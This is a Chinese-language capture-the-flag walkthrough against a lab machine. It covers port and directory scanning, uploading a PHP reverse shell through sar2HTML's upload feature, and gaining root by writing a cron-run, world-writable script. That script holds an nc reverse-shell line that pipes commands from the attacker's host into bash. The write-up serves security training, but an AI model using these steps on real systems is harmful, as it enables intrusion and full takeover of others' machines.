靶机ip:172.16.33.13
突破
端口扫描
sudo nmap -p- 172.16.33.13 --open
结果如下:
特定端口扫描
sudo nmap -p80 -sV -A 172.16.33.13
结果如下:
针对80端口
对其进行路径扫描:
dirsearch -u http://172.16.33.13
结果如下:
对其进行文件扫描:
dirsearch -u http://172.16.33.13 -f -e txt,php,html.pdf
结果如下:
进入http://172.16.33.13/robots.txt,发现关键路径sar2HTML:
进入http://172.16.33.13/sar2HTML,发现新系统:
点击“New”后,发现一个文件上传功能,试试上传一个反弹php脚本,点击“Upload report”后再点击“Go to Plotting Page”,跳转界面后随便点击几个选项之后点击“Plot”,发现“sarDATA”关键路径:
访问http://172.16.33.13/sar2HTML/sarDATA,发现路径uPLOAD/
点击进入后发现刚才上传的php反弹脚本,kali本地端做好监听,点击运行脚本,突破成功。
nc -nvlp 1234
提权
升级终端
/usr/bin/script -qc /bin/bash /dev/null
通过root周期执行的文件进行提权
查看是否有root周期执行的文件:
cat /etc/crontab
结果如下,发现finally.sh:
查看finally.sh的权限,发现它仅允许root用户进行写操作
查看其内容发现是运行write.sh脚本,而write.sh其他用户是可写的
将sh脚本写入其中,本地端做好两个端口的监听
#!/bin/sh
nc <kali本地ip> 1234 | /bin/bash | nc <kali本地ip> 2345
反弹成功,查看id:
提权成功,打靶完成。